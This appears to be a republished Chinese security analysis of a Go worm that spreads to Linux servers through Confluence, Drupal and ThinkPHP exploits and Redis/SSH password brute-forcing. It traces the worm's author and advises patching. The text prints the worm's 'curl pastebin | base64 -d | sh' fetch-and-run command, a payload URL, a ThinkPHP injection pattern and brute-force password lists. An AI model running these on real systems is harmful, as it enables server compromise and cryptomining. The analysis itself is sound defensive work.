Golang蠕虫泛滥?让我们揪出其始作俑者

Posted FreeBuf

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Golang蠕虫泛滥?让我们揪出其始作俑者相关的知识,希望对你有一定的参考价值。

概述

近日,国外安全网站SECURITYWEEK披露,一款Go语言恶意软件正大量感染Linux服务器,其使用了多达6种传播感染方式,包含4个远程执行漏洞(ThinkPHP、THinkPHP2、Dural、Confluence),2个弱密码爆破攻击(SSH、Redis)。深信服安全团队对该蠕虫进行了追踪。

目前为止,恶意软件较少会使用Go语言编写,这是由于依赖库的原因,编译出来的程序较为冗余,如下通过VT可以得知,该样本有近9M那么大。然而,使用Go语言也有一个好处,就是易于集成第三方的库。

Golang蠕虫泛滥?让我们揪出其始作俑者

逆向分析

对该样本进行反汇编,可以清晰地看到漏洞攻击对应的函数,其中Attack函数是主函数,依次调用getip和checkPort,来搜索同网段在线的主机IP,以及其开放端口,若发现有22、6379端口开放,则对其进行弱密码爆破;若发现有80端口,则对其进行漏洞扫描及攻击。

Golang蠕虫泛滥?让我们揪出其始作俑者

1、CVE_2019_3396

CVE_2019_3396是Confluence的漏洞,攻击exp如下,将payload存储于_template参数中。

Golang蠕虫泛滥?让我们揪出其始作俑者

2、Drupal

Drupal的攻击exp如下,对应的CVE编号为CVE-2018-7600。

Golang蠕虫泛滥?让我们揪出其始作俑者

3、ThinkPHP

Thinkphp有两个漏洞利用,下面这个是CVE-2019-9082漏洞,使用function=call_user_func_array&vars[0]=system&vars[1][]=URL利用该漏洞执行命令。

Golang蠕虫泛滥?让我们揪出其始作俑者

4、ThinkPHP2

另一个漏洞利用跟上面的相似,攻击exp如下。

Golang蠕虫泛滥?让我们揪出其始作俑者

5、Redis爆破

Redis登陆不需要用户名,爆破会使用如下几个弱密码:admin、redis、root、123456、password、user、test。登陆成功后,蠕虫会先调用FlushAll删除所有数据库,然后创建一个root数据库来存放恶意代码,该代码同样会被创建到/var/spool/cron和/etc/cron.d中以实现持久化潜伏。

Golang蠕虫泛滥?让我们揪出其始作俑者

插入的是下面这个恶意代码,这个代码的意思是,每隔一分钟,就解密执行一次https://pastebin.com/raw/xvfxprtb的代码。

Golang蠕虫泛滥?让我们揪出其始作俑者

6、SSH爆破

SSH爆破使用的用户名为:root、admins、user、test,密码分别为:admins、root、test、user、123456、password。

从上面几个漏洞攻击和密码爆破的方式来看,攻击最后的目的都是为了执行命令:’curl -fsSLhttps://pastebin.com/raw/xvfxprtb) | base64 -d) | sh’,所以,这个url的代码应该就是攻击的核心代码。pastebin.com/raw/xvfxprtb的代码如下,是经过base64加密的。

Golang蠕虫泛滥?让我们揪出其始作俑者

解密后可以看见其主要操作,将m.jianlistore.com/images/qrcode/1414297564.jpg保存为本地的/tmp/.mysqli/mysqlc并执行,这个文件之前已经有文章分析过了,不再累赘:https://www.freebuf.com/articles/terminal/206170.html

Golang蠕虫泛滥?让我们揪出其始作俑者

事件追踪

回到刚刚的网址:pastebin.com/raw/xvfxprtb,对其进行追踪,将网址中的raw去掉,就可以看到该代码的发布者了,从下图中可以得知,该作者为NIDAYE222,代码是6月10号上传的,访问量迄今为止为18000+,说明该蠕虫的感染量大概也是这个数,感染数量也还在极速上升。

Golang蠕虫泛滥?让我们揪出其始作俑者

使用搜索引擎搜索nidaye222,可以发现,发布者在14天刚创建了个github账户,而在6月26号和30分别fork了漏洞扫描器kunpeng和开源挖矿xmrig,看来这个蠕虫的作者很有可能是从这得到了启发。

Golang蠕虫泛滥?让我们揪出其始作俑者

Kunpeng是一个开源的POC检测框架,也是使用go语言进行编写的,所以,不排除作者有复用其中漏洞利用代码的可能性。

Golang蠕虫泛滥?让我们揪出其始作俑者

Kunpeng目前为止收录了85个漏洞POC,其中也包含了该蠕虫所利用的漏洞,可想而知,只要作者愿意,他可以继续扩充如下漏洞攻击代码到蠕虫中去,所以,大家尽量打上相应的漏洞补丁,防止感染该病毒。

Golang蠕虫泛滥?让我们揪出其始作俑者

Golang蠕虫泛滥?让我们揪出其始作俑者

Golang蠕虫泛滥?让我们揪出其始作俑者 FreeBuf+ FreeBuf+小程序:把安全装进口袋

精彩推荐

Golang蠕虫泛滥?让我们揪出其始作俑者

Golang蠕虫泛滥?让我们揪出其始作俑者

以上是关于Golang蠕虫泛滥?让我们揪出其始作俑者的主要内容,如果未能解决你的问题,请参考以下文章

安全设备

探测电磁波就能揪出恶意软件,网友:搁这给电脑把脉呢?

在一个 IP 上托管多个 Golang 站点并根据域请求提供服务?

大明王朝的七张面孔---始作俑者朱元璋

依赖倒置原则(Dependency Inversion Principle)

golang 函数笔记